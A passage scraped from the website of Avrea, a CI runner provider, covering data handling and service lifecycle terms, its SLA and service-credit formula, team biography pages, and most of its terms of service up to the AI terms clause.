attestation (Security, Availability, Confidentiality). Avrea does not warrant compliance with any specific security framework or standard. Avrea makes the certificate and the attestation report available to Customers upon request under non-disclosure agreement. #### 6.3 Incident Response Avrea maintains an incident response plan covering identification, classification, containment, resolution, and post-incident review of security events. Customers are notified of security incidents that materially affect their data or use of the Service, in accordance with the timeframes required by applicable law and the Agreement. ### 7. Data Handling #### 7.1 Data Processed by the Service The Service processes the following categories of Customer-related data: | Data Category | Description | Retention | | --- | --- | --- | | Account data | Organization name, user names, email addresses, OAuth tokens | Duration of the Agreement + 30-day export period | | Platform installation data | Installation identifiers, repository associations, webhook configuration | Duration of the Agreement + 30-day export period | | Job execution metadata | Job identifiers, runner labels, timestamps, status, resource allocations | Duration of the Agreement + 30-day export period | | Workflow run data | Run identifiers, trigger events, timing information | Duration of the Agreement + 30-day export period | | Operational logs | Application telemetry, security events, provisioning and error logs that may reference Customer job identifiers and timing | 1 year | | Ephemeral runner data | VM state, runner registration tokens, execution logs on the VM | Deleted on job completion | | Cache artifacts | Build cache entries | Subject to per-repository quotas; evicted on quota breach or repository removal | #### 7.2 Data Not Stored by Avrea The Service does not persistently store: - **Workflow output** (stdout/stderr): Job output is reported directly from the runner to the CI/CD platform and is not retained by Avrea. - **Customer source code**: Source code is fetched by the runner during execution and is deleted with the VM upon job completion. - **Customer secrets**: Workflow secrets are managed by the CI/CD platform and are never transmitted to or stored by Avrea’s control plane. #### 7.3 Data Export and Deletion Upon termination or expiry of the Agreement, the Customer may request export of its Service Data within thirty (30) days, after which Avrea will delete such data in accordance with the Agreement. Ephemeral runner data (VM state, execution artefacts) is not available for export as it is destroyed upon job completion. #### 7.4 Data Processing Where Customer data includes personal data, Avrea processes such data as a data processor on behalf of the Customer (as data controller). Where a Data Processing Agreement (DPA) is in place, personal data is processed in accordance with its terms. Otherwise, Avrea processes personal data in accordance with its Privacy Policy and applicable data protection law. ### 8. Service Lifecycle #### 8.1 Updates and Changes Avrea continuously develops and improves the Service. Changes may include: - **Bug fixes and security patches**: Applied as needed to maintain the security and stability of the Service. These may be deployed without advance notice. - **Feature improvements**: Enhancements to existing functionality, deployed as part of regular release cycles. - **New features**: New capabilities may be introduced and made available according to the Customer’s subscription plan. Avrea reserves the right to modify, update, or discontinue features of the Service, provided that such changes do not materially reduce the core functionality described in Section 1.2 during the Customer’s then-current subscription term. Material changes to Service functionality will be communicated with reasonable advance notice. #### 8.2 Backward Compatibility Avrea endeavours to maintain backward compatibility for Customer-facing integrations (webhook processing, runner label syntax, console functionality). Where a breaking change is necessary, Avrea will provide reasonable notice and, where practical, a migration period. #### 8.3 Beta Features Avrea may make certain features available as beta or early access. Beta features are provided “as is” without any availability or support commitments and may be modified or discontinued at any time. Beta features are identified as such in the console or documentation. Unless the Customer explicitly opts in, beta features are not enabled on the Customer’s account. #### 8.4 Deprecation When Avrea deprecates a Service feature, it will: 1. Provide notice of the deprecation through the console, status page, or email; 2. Allow a reasonable transition period (no less than ninety (90) days for features described in Section 1.2) before removal; and 3. Where feasible, provide guidance on alternative approaches or successor features. --- Source: https://avrea.com/sla # SLA Avrea's service level agreement. Uptime targets, incident response times, and the commitments behind production CI workloads. ### Avrea Service Level Agreement Avrea is committed to delivering reliable, secure services with proactive monitoring and incident response. Avrea’s operations team and automated systems continuously monitor the Service, responding to failures, performance degradation, security events, and other anomalies to minimise impact on availability. Avrea provides the Service with a Monthly Uptime Percentage of at least **99.9%** during each calendar month (“**Service Level Objective**” or “**SLO**”). Where the Order Form specifies a different SLO, the Order Form shall prevail. When Avrea fails to meet the SLO, the Customer is eligible for Service Credits as described below. This SLA states the Customer’s sole and exclusive remedy for any failure to meet the SLO, without prejudice to the Customer’s right to terminate the Agreement for cause under the Terms of Service. #### Definitions “**Downtime**” means a period of time when the Service has no external connectivity or is materially unable to perform its core functions, as determined by Avrea’s monitoring systems. “**Downtime Period**” means a period of one or more consecutive minutes of **Downtime**. Partial minutes or intermittent **Downtime** for a period of less than one minute will not be counted towards any Downtime Period. “**Monthly Uptime Percentage**” means the total number of minutes in a calendar month, minus the aggregate number of minutes of **Downtime** of all **Downtime Periods** taking place during the month, divided by the total number of minutes in the month. “**Monthly Fee**” means the Subscription Fees attributable to the relevant calendar month. Where Subscription Fees are invoiced annually, the Monthly Fee shall be one twelfth (1/12) of the annual Subscription Fee. “**Excess Downtime**” means the aggregate Downtime Minutes in a calendar month that exceed the **Downtime** permitted under the SLO. For the default SLO of 99.9%, the permitted Downtime is approximately 43 minutes per 30-day month. #### Service Credits Service Credits are calculated as ten (10) times the Excess Downtime, expressed as a proportion of the Monthly Fee: **Service Credit = (Excess Downtime Minutes / Total Minutes in Calendar Month) × 10 × Monthly Fee** The aggregate Service Credits for any single calendar month shall not exceed one hundred per cent (100%) of the Monthly Fee for that month. Avrea calculates all Downtime Periods and Service Credits based on its monitoring systems, logs, and configuration records. In the event of a dispute, the Parties shall seek to resolve it in good faith. Avrea shall make relevant monitoring data available for Customer audit upon reasonable request. Service Credits are applied as credits towards future Subscription Fees within sixty (60) days of confirmation. Unused Service Credits expire upon termination or expiry of the Agreement and cannot be transferred or exchanged for cash. #### Credit Request Process To receive a Service Credit, the Customer must submit a written request to Avrea within sixty (60) days of the end of the calendar month in which the Downtime occurred. The request must include the dates and times of the Downtime incidents and a description of how the Service was affected. Avrea shall evaluate the request and notify the Customer of the outcome within thirty (30) days of receipt. 1. Actions taken by Avrea to comply with Applicable Law or a binding order of a competent authority. #### Exemptions 1. Events beyond Avrea’s reasonable control, including any force majeure event and hostile actions by third parties such as denial-of-service attacks. 2. Scheduled maintenance communicated at least twenty-four (24) hours in advance via the Service’s status page or email. 3. Downtime of Beta Features as defined in the Terms of Service. 4. Critical bug fixes and security patches applied to protect the integrity or security of the Service. 5. Customer-generated system load (network requests, API calls, data volume) that exceeds the capabilities of the Customer’s subscription plan. Downtime caused by the following events is excluded from Monthly Uptime Percentage calculations: 1. Customer actions, equipment, software, or data that cause or contribute to the unavailability, including failure to meet any Minimum Technical Requirements. Support response times are measured from the time the Customer submits a request via Avrea’s designated support channels. Business Hours are 09:00–17:00 EET, Monday to Friday, excluding Finnish public holidays. Critical severity issues are measured on a 24/7 basis. 1. Failures or unavailability of third-party infrastructure, hosting, or network providers used by Avrea to deliver the Service, including but not limited to Google Cloud Platform and OVHcloud. #### Status Page Avrea maintains a publicly accessible status page providing information on the availability of the Service. Avrea shall notify Customers of unscheduled Downtime via the status page as soon as reasonably practicable. Upon resolution, Avrea shall publish an incident summary including the duration, root cause (to the extent known), and remedial actions taken. #### Support Response Times | Severity | Description | Initial Response | | --- | --- | --- | | Critical | Service unavailable or core functionality materially impaired for all or substantially all Customer Users | 4 hours (24/7) | | High | Major feature significantly impaired; no reasonable workaround available | 8 Business Hours | | Normal | General issues, questions, or minor feature impairment with workaround available | 2 Business Days | Avrea provides support according to the following response time targets: The response time targets above are targets only and do not constitute binding commitments, unless the Order Form expressly provides otherwise. *This SLA forms part of the Agreement between Avrea and the Customer and is subject to the terms and conditions set out in the Terms of Service. Capitalised terms not defined in this SLA have the meanings given to them in the Terms of Service.* --- Source: https://avrea.com/team/hannu-valtonen # Hannu Valtonen Hannu is the CEO and co-founder of Avrea. Before Avrea, he was co-founder and CPO at Aiven, an open-source data platform valued at $3B. Team CEO & Co-Founder Connect - [LinkedIn](https://www.linkedin.com/in/hannuvaltonen/) - [X](https://x.com/HannuValtonen) [← Back](https://avrea.com/about-us) Hannu is the CEO and co-founder of Avrea. Before Avrea, he was co-founder and CPO at Aiven, an open-source data platform valued at $3B. ## Posts by Hannu Valtonen - 3 November 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark [Read post](https://avrea.com/blog/avrea-runson-build-benchmark) - 27 October 2026 Warm builds. Introducing Avrea persistent disks [Read post](https://avrea.com/blog/persistent-disks) - 16 October 2026 Get to the build sooner: Git pre-checkout, LFS caching, and submodules [Read post](https://avrea.com/blog/git-checkout-acceleration) - 18 August 2026 One sign-in for your whole organization: Avrea SAML SSO [Read post](https://avrea.com/blog/saml-sso) - 13 August 2026 Static IPs for GitHub Actions without managing runners [Read post](https://avrea.com/blog/github-actions-static-ip) - 2 July 2026 Your CI is the new attack surface: lock down what it can reach [Read post](https://avrea.com/blog/egress-firewall-defense-in-depth) - 9 June 2026 M5 Max runners are here: macOS and ARM Linux CI on Apple Silicon [Read post](https://avrea.com/blog/m5-max-runners-macos-arm-linux-ci-on-apple-silicon) - 26 May 2026 CI/CD for the age of AI [Read post](https://avrea.com/blog/launching-avrea) ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/team/jeppe-tiensuu # Jeppe Tiensuu Jeppe is a founding engineer at Avrea, where he builds the infrastructure that runs customer CI workloads. Team Founding Engineer Connect - [LinkedIn](https://www.linkedin.com/in/jeppe-tiensuu-5b21b53a/) - [X](https://x.com/jtiensuu) [← Back](https://avrea.com/about-us) Jeppe is a founding engineer at Avrea, where he builds the infrastructure that runs customer CI workloads. Before Avrea, he worked on backend systems and developer tooling across multiple startups. ## Posts by Jeppe Tiensuu - 27 August 2026 Introducing Avrea SBOM [Read post](https://avrea.com/blog/software-bill-of-materials) - 3 June 2026 Avrea is SOC 2 Type II attested [Read post](https://avrea.com/blog/avrea-is-soc-2-type-2-attested) - 13 May 2026 Avrea is ISO 27001:2022 certified [Read post](https://avrea.com/blog/avrea-iso-27001-certified) ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/team/leo-lannenmaki # Leo Lännenmäki Leo is a founding engineer at Avrea. He has over 15 years of experience building backend systems, game engines and developer tools. Team Founding Engineer Connect - [LinkedIn](https://www.linkedin.com/in/leolannenmaki/) - [X](https://x.com/leolannenmaki) [← Back](https://avrea.com/about-us) Leo is a founding engineer at Avrea. He has over 15 years of experience building backend systems, game engines and developer tools. Previously co-founder and CTO at Matchmade, and Senior Software Engineer at Disney Interactive, where he led engineering on multi-platform games shipped on iOS, Android and Windows Phone. ## Posts by Leo Lännenmäki - 1 October 2026 iOS and macOS CI benchmark: Avrea is 3-23x faster than GitHub Actions [Read post](https://avrea.com/blog/ios-macos-ci-benchmark) - 22 June 2026 Avrea CLI: The full Avrea experience in your terminal, for humans and agents alike [Read post](https://avrea.com/blog/the-full-avrea-experience-in-your-terminal) - 21 May 2026 How we made GitHub Actions cache up to 6x faster [Read post](https://avrea.com/blog/how-we-made-github-actions-cache-up-to-6x-faster) - 12 May 2026 Benchmark: Linux kernel builds 3-68x faster on Avrea than GitHub Actions [Read post](https://avrea.com/blog/linux-kernel-ci-benchmark) - 11 May 2026 Benchmark: Ghostty builds 3-27x faster on Avrea than GitHub Actions [Read post](https://avrea.com/blog/ghostty-nix-ci-benchmark) - 10 May 2026 Benchmark: Next.js builds 2-142x faster on Avrea than GitHub Actions [Read post](https://avrea.com/blog/nextjs-turborepo-ci-benchmark) - 2 May 2026 Benchmark: RisingWave builds 11.5x faster on Avrea than GitHub Actions [Read post](https://avrea.com/blog/risingwave-sccache-ci-benchmark) - 23 April 2026 Benchmark: Kafka builds 6.6x faster on Avrea than GitHub Actions [Read post](https://avrea.com/blog/kafka-gradle-ci-benchmark) - 21 April 2026 Benchmark: Bazel builds 39.7x faster on Avrea than GitHub Actions [Read post](https://avrea.com/blog/bazel-ci-benchmark) ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/team/markus-koskinen # Markus Koskinen Markus is a founding engineer at Avrea. Previously, he was a staff solutions architect at Aiven, helping customers run open-source data services. Team Founding Engineer Connect - [LinkedIn](https://www.linkedin.com/in/markuskoskinen/) [← Back](https://avrea.com/about-us) Markus is a founding engineer at Avrea. Previously, he was a staff solutions architect at Aiven, helping customers run open-source data services. ## Posts by Markus Koskinen - 6 November 2026 StepSecurity Harden-Runner now supports Avrea runners [Read post](https://avrea.com/blog/stepsecurity-harden-runner) ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/team/tatu-makijarvi # Tatu Mäkijärvi Tatu leads marketing for Avrea. Prior to Avrea, he has led marketing for successful startups and scaleups, including Hoxhunt, SYNQ and Pento. Team Marketing [← Back](https://avrea.com/about-us) Tatu leads marketing for Avrea. Prior to Avrea, he has led marketing for successful startups and scaleups, including Hoxhunt, SYNQ and Pento. ## Posts by Tatu Mäkijärvi - 4 November 2026 Avrea product update, October 2026 [Read post](https://avrea.com/blog/avrea-product-update-october-2026) - 23 October 2026 Avrea is the fastest ARM runner for GitHub Actions: 2026 benchmark [Read post](https://avrea.com/blog/fastest-arm-github-actions-runners) - 22 October 2026 Runner right-sizing: stop paying for capacity your jobs don't use [Read post](https://avrea.com/blog/runner-right-sizing) - 2 October 2026 GitHub Actions pricing in 2026 and how to lower your bill [Read post](https://avrea.com/blog/github-actions-pricing) - 16 September 2026 GitHub Actions observability: understanding why your CI is slow [Read post](https://avrea.com/blog/github-actions-observability) - 1 September 2026 A guide to GitHub Actions caching [Read post](https://avrea.com/blog/github-actions-cache) - 27 August 2026 How to Speed Up GitHub Actions [Read post](https://avrea.com/blog/speed-up-github-actions) - 10 July 2026 The Fastest GitHub Actions Runners in 2026: CPU Benchmarks Are Half the Story [Read post](https://avrea.com/blog/fastest-github-actions-runners) - 30 June 2026 Guide to GitHub Actions Runners: Hosted, Self-Hosted, and Third-Party Options [Read post](https://avrea.com/blog/github-actions-runners) ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/terms # Terms & Conditions Terms of service for Avrea. Account use, billing, acceptable use, service availability, and the legal framework for the platform. **AVREA TERMS OF SERVICE** Last updated: 27.4.2026 **TERMS OF SERVICE** **1. DEFINITIONS AND INTERPRETATION** 1.1. The definitions and rules of interpretation set out in Schedule 1 (Definitions and Interpretation) apply to this Agreement. **2. COMMENCEMENT AND DURATION** 2.1. The Customer shall enter into this Agreement with the Supplier by subscribing to the Service through an Order Form. The Order Form incorporates these Terms of Service (the “Terms”), which together with the Order Form and any schedules, annexes or other attachments attached to either these Terms or the Order Form shall constitute the entire “Agreement” between the Parties. 2.2. This Agreement shall commence on the Commencement Date and shall continue for the Term specified in the Order Form, unless earlier terminated in accordance with Clause 14 or renewed in accordance with any renewal terms set out in the Order Form. **3. SUBSCRIPTION AND LICENCE** **Licence Grant** 3.1. Subject to the Customer’s payment of the Subscription Fees and compliance with the terms and conditions of the Agreement, the Supplier hereby grants to the Customer a limited, non-exclusive, non-transferable right (without the right to grant sub-licences) to access and use the Service solely for internal business purposes during the Term (the “Licence”). 3.2. The Customer may permit Customer Users to access and use the Service on its behalf, subject to the terms and conditions of the Agreement. The Customer shall ensure that the total number of Customer Users does not exceed the number set out in the Order Form, where applicable. **Service Description and Amendments** 3.3. The Supplier may amend the Service and the Service Description from time to time. The Service Description is made available on the Supplier’s website or otherwise provided to the Customer. The Supplier will endeavour to notify the Customer of material changes to the Service at least thirty (30) days in advance. **Intellectual Property Rights — Service** 3.4. The Customer acknowledges and agrees that the Supplier and its licensors own all Intellectual Property Rights in the Service, Information, Software and the Service Description. Except as expressly stated in this Agreement, this Agreement does not grant the Customer any rights to, or in, any Intellectual Property Rights in respect of the Service, Information, Software or the Service Description. **Feedback** 3.5. The Customer assigns to the Supplier all Intellectual Property Rights in any Feedback provided by the Customer or any Customer User. The Supplier shall have a royalty-free, worldwide, transferable, sub-licensable, irrevocable, perpetual licence to use or incorporate into the Service, Information, Software and/or the Service Description any such Feedback, provided that the Customer shall not be identified as the source of such Feedback without its prior written consent. For the avoidance of doubt, the Supplier shall not be obliged to implement any such Feedback. **Trial Subscriptions and Beta Features** 3.6. The Supplier may offer trial subscriptions at its discretion. If a trial subscription applies, this shall be specified in the Order Form, together with the length of the trial and any other relevant details. The Supplier’s warranties under Clause 5 and any service level commitments shall not apply in relation to any trial subscription. 3.7. The Supplier may make Beta Features available to the Customer from time to time. Beta Features are provided on an “as-is/as-available” basis without any warranties or representations of any kind. No Service Level Agreement shall apply to Beta Features. The Supplier may discontinue any Beta Feature at any time without notice and without incurring any liability to the Customer. **Third-Party Software** 3.8. The Service includes Third-Party Software. The Supplier does not grant the Customer any licence in respect of Third-Party Software. Third-Party Software is provided solely under the applicable third-party licence terms and is made available on an “as-is” basis without any warranty or representation of any kind from the Supplier. The Customer is solely responsible for compliance with all applicable third-party licence terms governing its use of Third-Party Software in connection with the Service. 3.9. Certain functionality of the Service may require the Customer to obtain licences for Customer-Licensed Software directly from third-party vendors. The Customer represents and warrants that it holds, and shall maintain throughout the Term, valid licences for all Customer-Licensed Software used in connection with the Service. The Supplier makes no representations regarding the licensing requirements for Customer-Licensed Software and does not provide, broker or validate third-party licences. The Customer shall indemnify, keep indemnified and hold the Supplier and the Supplier Personnel harmless against any and all claims, damages, costs and expenses arising from any third-party licensor’s claims in connection with the Customer’s use of Customer-Licensed Software. **Open-Source Software** 3.10. Certain components included in or distributed with the Service are Open-Source Software, governed by the applicable Open-Source Terms. The Open-Source Terms and a list of the relevant Open-Source Software are available at [avrea.com/open-source-components.](https://avrea.com/open-source-components) These Terms apply solely to the Supplier’s proprietary software and services; Open-Source Software remains governed by the applicable Open-Source Terms. For the avoidance of doubt, nothing in this Agreement grants the Customer any rights in respect of Open-Source Software beyond those conferred by the applicable Open-Source Terms. **SLA** 3.11. Where the Supplier provides a Service Level Agreement (“SLA”) to the Customer, such SLA shall be made available at [avrea.com/sla](https://avrea.com/sla). If no SLA is provided, the Supplier makes no commitment as to any specific level of availability of the Service. **4. SUPPLIER OBLIGATIONS** 4.1. The Supplier shall perform its obligations under this Agreement in compliance with Applicable Law. 4.2. The Supplier makes no representation, and gives no warranty or undertaking, that the operation or availability of the Service will be uninterrupted or error-free. 4.3. The Customer acknowledges that the Supplier and/or the Supplier Personnel may from time to time carry out routine and/or emergency maintenance of the Service. The Customer may be unable to access the Service during any period in which such maintenance is being carried out, although the Supplier will use its reasonable endeavours to keep any such disruption to a minimum. 4.4. Without limitation to Clause 19.1 (Force Majeure), the Customer acknowledges that the Supplier has no direct control over the availability of, or limitations in, bandwidth over the internet and that the Supplier shall not be responsible for delays in or unavailability of the Service caused by such bandwidth limitations or unavailability. **5. WARRANTIES AND DISCLAIMERS** **Supplier Warranty** 5.1. The Supplier warrants that it will provide the Service in accordance with the Service Description and SLA. **Disclaimer** 5.2. Except as expressly provided in Clause 5.1, the Service is provided on an “as-is” and “as-available” basis. To the fullest extent permitted by Applicable Law, the Supplier disclaims all other conditions, warranties, representations, undertakings or other terms which might have effect between the Parties with respect to the Service, or be implied or incorporated into this Agreement, whether by statute, common law, custom or otherwise, including any implied conditions, warranties or undertakings relating to satisfactory quality, reasonable skill and care, fitness for any particular purpose or ability to achieve a particular result. 5.3. The Supplier does not warrant that: (a) the use of the Service by the Customer or its Customer Users will meet the Customer’s requirements; (b) defects in the Service will be corrected; or (c) the Service will operate in the combinations which the Customer selects for use. 5.4. Under no circumstances shall the Supplier or the Supplier Personnel have any liability for any losses, claims, damages, costs or expenses caused by errors or omissions in any information, instructions or scripts provided to the Supplier and/or the Supplier Personnel by or on behalf of the Customer in connection with the Service, or any actions taken by the Supplier and/or the Supplier Personnel at the Customer’s direction. **6. CUSTOMER OBLIGATIONS** **Acceptable Use Policy** 6.1. The Customer shall not (and shall ensure that its Customer Users do not) use the Service: 6.1.1. to store, distribute or transmit any Malware, or any material, information or data that is unlawful, harmful, threatening, defamatory, obscene, infringing, harassing or racially or ethnically offensive; that facilitates illegal activity; that constitutes illegal images; or that promotes unlawful violence, discrimination based on race, gender, colour, religious belief, sexual orientation, disability, or any other illegal activities; 6.1.2. to access, develop, supply or market all or any part of the Service in order to build a product or service which replicates, competes with or is substantially similar to the Service; 6.1.3. to attempt to undertake any security, vulnerability, penetration, or similar testing of the Service without the prior written consent of the Supplier; 6.1.4. to assist third parties in obtaining access to the Service; or 6.1.5. for any purpose that is not an Accepted Purpose. 6.1.6. to engage in any form of resource abuse, including using the Service in a manner that disproportionately consumes computational resources, disrupts or degrades the performance of the Service for other customers of the Supplier, or runs workloads unrelated to the building, testing or deploying of software — including, without limitation, cryptocurrency mining, proof-of-work computation, and machine learning model training. 6.2. The Customer shall not (and shall ensure that its Customer Users do not) attempt to copy, duplicate, modify, create derivative works from or distribute all or any portion of the Service, Information, Software or Service Description. **General Customer Obligations** 6.3. The Customer shall: 6.3.1. pay the Subscription Fees in accordance with the [Payment Terms](https://avrea.com/payment-terms); 6.3.2. provide the Supplier with all necessary co-operation in relation to this Agreement and access to such information as may be required by the Supplier in order to provide the Service; 6.3.3. ensure that the Customer Users comply with this Agreement and any acceptable use policies specified or provided by the Supplier from time to time; 6.3.4. maintain adequate technical capabilities to access and use the Service, including complying with any Minimum Technical Requirements, and the Customer acknowledges that it is solely responsible for ensuring that its firewalls, security and privacy systems and settings, and other plug-ins or applications, do not interfere with or restrict access to the Service; 6.3.5. use its best endeavours to prevent any unauthorised access to, or use of, the Service and shall notify the Supplier promptly of any such unauthorised access or use; 6.3.6. comply with all Applicable Laws and regulations with respect to its activities under this Agreement; and 6.3.7. undertake appropriate back-ups of its data with such regularity and in such a manner as to ensure that it can restore such data in the event of data loss or corruption from any cause. 6.3.8. represent and warrant, on a continuing basis, that: (a) it is not located in, organised under the laws of, or ordinarily resident in a Sanctioned Country; (b) it is not a Sanctioned Person and is not owned or controlled by a Sanctioned Person; and (c) it shall not use the Service, directly or indirectly, in any manner that would cause the Supplier to violate any applicable export control laws or regulations or any applicable sanctions regimes. 6.4. The Supplier may audit the Customer’s compliance with Clauses 6.1, 6.2 and 6.3 by any lawful, technical means, and the Customer shall provide all reasonable assistance and information to the Supplier necessary to establish that the Service is only being accessed and used in accordance with this Agreement. **7. CUSTOMER USERS** 7.1. The Customer shall ensure that the Customer Users comply with the terms of this Agreement, and shall be responsible for any acts and omissions of a Customer User as if committed by the Customer itself. 7.2. The Customer shall ensure that: 7.2.1. each Customer User keeps any user log-in(s) and password(s) for their use of the Service secure and confidential, and that passwords are of adequate strength and conform to any password policies of the Service; 7.2.2. each Customer User does not share their login password(s) with any other individual or third party; and 7.2.3. no Customer User account is used by more than one (1) individual Customer User. 7.3. If a Customer User leaves the employment or engagement of the Customer, or if the Customer does not intend for them to have access to the Service, the Customer shall promptly ensure that the Customer User’s access to the Service is revoked. 7.4. The Customer acknowledges that the Service may provide functionality or features that enable Customer Users to perform functions or order services that may incur additional Subscription Fees (as specified in the Service Description and/or on the Service itself), and the Customer agrees to pay any additional Subscription Fees arising as a result. **8. CUSTOMER DATA** 8.1. The Customer shall own all rights, title and interest in and to all of the Customer Data and shall at all times have sole responsibility for the legality, reliability, integrity, accuracy and quality of the Customer Data and for ensuring that its use does not infringe the rights of any third parties. 8.2. The Customer hereby grants to the Supplier and the Supplier Personnel a non-exclusive, non-transferable licence to use the Customer Data for the purposes of: (a) providing the Service; (b) exercising the Supplier’s rights under this Agreement; and (c) improving and developing the Service (including any data analytics specified in the Service Description), provided that the Supplier’s use of Customer Data for the purposes set out in this sub-clause (c) shall be limited to anonymised data only, together with the right to sub-licence these rights to the Supplier’s subcontractors to the extent necessarily required for the performance of the Supplier’s obligations. The Customer warrants to the Supplier that the use of the Customer Data in accordance with this Agreement will not: (i) breach Applicable Law; (ii) infringe the Intellectual Property Rights or other legal rights of any person; or (iii) give rise to any cause of action against the Supplier, in each case in any jurisdiction. 8.3. In the event of any loss or damage to Customer Data, the Customer’s sole and exclusive remedy shall be for the Supplier to use reasonable commercial endeavours to restore the lost or damaged Customer Data from the latest back-up of such Customer Data maintained by the Supplier. The Supplier shall not be responsible for any loss, destruction, alteration or disclosure of Customer Data caused by the Customer, its Customer Users, or any third party (except those third parties sub-contracted by the Supplier to perform services related to Customer Data maintenance, in which case the Supplier’s liability shall be subject to the limitations and exclusions set out in this Agreement). 8.4. The Supplier shall be entitled to retain Build Logs for operational, debugging and service improvement purposes. Build Logs may contain metadata such as timestamps, command outputs, pipeline execution records and error messages. The Customer is solely responsible for ensuring that no sensitive data is printed to Build Log output. Upon written request from the Customer, the Supplier shall use reasonable endeavours to delete Build Logs relating to the Customer, provided that the Supplier shall not be obliged to do so where retention is required for the Supplier’s legitimate operational or legal purposes. **9. DATA PROTECTION** 9.1. These terms in Clause 9 (the “Data Processing Terms”) set out the terms and conditions for the processing of Personal Data by the Supplier on behalf of the Customer under this Agreement. The Supplier shall act as a processor on behalf of the Customer, who may act either as a controller or as a processor on behalf of a third-party controller. Terms defined in Data Protection Legislation which are not otherwise defined in this Agreement shall have the meaning given to them in Data Protection Legislation. 9.2. The Personal Data processing carried out by the Supplier on behalf of the Customer under this Agreement is described as follows: (a) the purpose of the processing is to provide source code testing of the Customer’s code and to perform access management and communications in connection with the Service; (b) the processing activities include collection, storage, access, transmission, analysis and deletion of Personal Data as necessary for the provision of the Service; (c) the categories of Personal Data processed comprise the name, email address and phone number of the Customer’s representatives, and any Customer-uploaded content used for testing which may contain Personal Data; (d) the categories of Data Subjects are the Customer’s representatives and any other Data Subjects whose Personal Data the Customer provides to the Supplier; and (e) the duration of the processing shall be the Term, and thereafter only to the extent required by Applicable Law. **Rights and Responsibilities of the Customer** 9.3. The Customer shall process Personal Data in compliance with Data Protection Legislation and good data processing practice. 9.4. At the time of signing this Agreement, the written instructions given by the Customer to the Supplier are included in these Data Processing Terms and the Service Description. Any new instructions from the Customer to the Supplier shall be agreed upon in writing between the Parties. The Supplier is entitled to charge for any additional costs incurred in complying with new or amended instructions from the Customer. 9.5. The Customer undertakes to: 9.5.1. ensure that there is a legal ground for processing the Personal Data covered by these Data Processing Terms, and that necessary data processing agreements in accordance with Data Protection Legislation are in force; 9.5.2. warrant, if the Customer acts as a processor on behalf of a third-party controller, on an ongoing basis that the third-party controller has authorised: (a) the Customer’s documented instructions; (b) the Supplier as a subprocessor of the Customer; and (c) the Supplier’s engagement of Subprocessors; 9.5.3. ensure that Data Subjects, as required by Data Protection Legislation, have received sufficient information regarding the processing, including information that the Supplier may process the Personal Data on behalf of the Customer; and 9.5.4. act as the Data Subjects’ point of contact. **Responsibilities of the Supplier** 9.6. The Supplier shall: 9.6.1. process Personal Data in compliance with these Data Processing Terms, Data Protection Legislation and good data processing practice; 9.6.2. process Personal Data on documented instructions from the Customer, unless required to do otherwise under Data Protection Legislation applicable to the Supplier, in which case the Supplier shall inform the Customer of such requirement before beginning the processing (unless prohibited by Applicable Law); 9.6.3. ensure that persons in the service of the Supplier with access to Personal Data have committed themselves to appropriate confidentiality obligations; 9.6.4. implement technical and organisational measures to ensure an appropriate level of security for the Personal Data against unauthorised access, loss, destruction, damage, alteration or disclosure; 9.6.5. taking into account the information available to the Supplier, provide reasonable assistance to the Customer in responding to requests for exercising the rights of Data Subjects and in ensuring compliance with the Customer’s obligations relating to data security, Personal Data Breaches, data protection impact assessments, and prior consulting obligations. The Supplier is entitled to charge the Customer for reasonable costs and expenses incurred in connection with such assistance; 9.6.6. follow the conditions for the use of Subprocessors as set out in Clause 9.8; 9.6.7. make available to the Customer all information necessary to demonstrate compliance with the obligations set out in these Data Processing Terms and in Data Protection Legislation. The Customer shall keep all such information confidential. The Supplier is entitled to charge the Customer for reasonable costs and expenses incurred in connection with such disclosure; and 9.6.8. allow the Customer to perform audits as prescribed in Clause 9.10. **Personal Data Breach Notification** 9.7. The Supplier shall notify the Customer of all Personal Data Breaches without undue delay after becoming aware of a suspected Personal Data Breach. The notification shall include: (a) a description of the nature of the Personal Data Breach, including the categories and approximate number of Data Subjects and data records concerned; (b) the name and contact details of the Supplier’s contact person handling the breach; (c) a description of the likely or realised consequences of the breach; and (d) a description of the measures taken or proposed to address the breach and to mitigate its adverse effects. Where it is not possible to provide all such information at the same time, the information may be provided in phases. The Supplier shall document Personal Data Breaches and shall disclose such documentation to the Customer upon request. **Subprocessors** 9.8. The Supplier is entitled to use Subprocessors in the processing of Personal Data where the Customer has approved such Subprocessors. On the Commencement Date, the Customer agrees to the use of the Subprocessors as agreed under the Service Description. The Customer also agrees that the Supplier may use any of its Affiliates as a Subprocessor. The Supplier shall notify the Customer of any addition of a new Subprocessor at least two (2) weeks before the Subprocessor begins processing Personal Data. If the Customer objects to the use of a new Subprocessor, the Customer has the right to terminate this Agreement within two (2) weeks of being notified, with a two-week notice period. The Supplier shall ensure that Subprocessors are bound by obligations equivalent to those set out in these Data Processing Terms. **Transfers of Personal Data** 9.9. The Supplier shall not transfer Personal Data to a Third Country unless the Customer has given its prior written permission for the transfer to take place. **Auditing** 9.10. Where the Customer requests an audit, a third party appointed or approved in writing by the Supplier shall audit the Supplier’s compliance with these Data Processing Terms. The Customer may request such an audit once in every twelve (12) months. The Customer shall bear all costs and expenses associated with the audit. The Customer must notify the Supplier of an audit at least twenty (20) Business Days in advance, and the audit shall be conducted in a manner that does not disturb the Supplier’s normal business operations. Any auditor shall comply with the Supplier’s work rules, security requirements and standards, and shall enter into a non-disclosure agreement provided or approved by the Supplier before commencing any audit. **Term and Termination of Data Processing** 9.11. The Supplier shall process Personal Data only during the Term. Upon termination or expiry of this Agreement, or upon the Customer’s written request, the Supplier shall either destroy or return to the Customer or to a third party designated by the Customer in writing the Personal Data processed, unless otherwise required by Data Protection Legislation. In the event the Customer requests the return or transfer of Personal Data, the Customer shall pay the Supplier for any additional costs thereby incurred. If the Customer does not demand the return of the Personal Data within thirty (30) days from the termination or expiry of this Agreement, the Supplier shall be entitled to delete any such Personal Data, including any copies thereof, unless storage is required under Applicable Law. **10. AI TERMS** 10.1. The Supplier may make available certain features of the Service that incorporate artificial intelligence or machine learning capabilities (each an “AI Feature”). AI Features may be powered 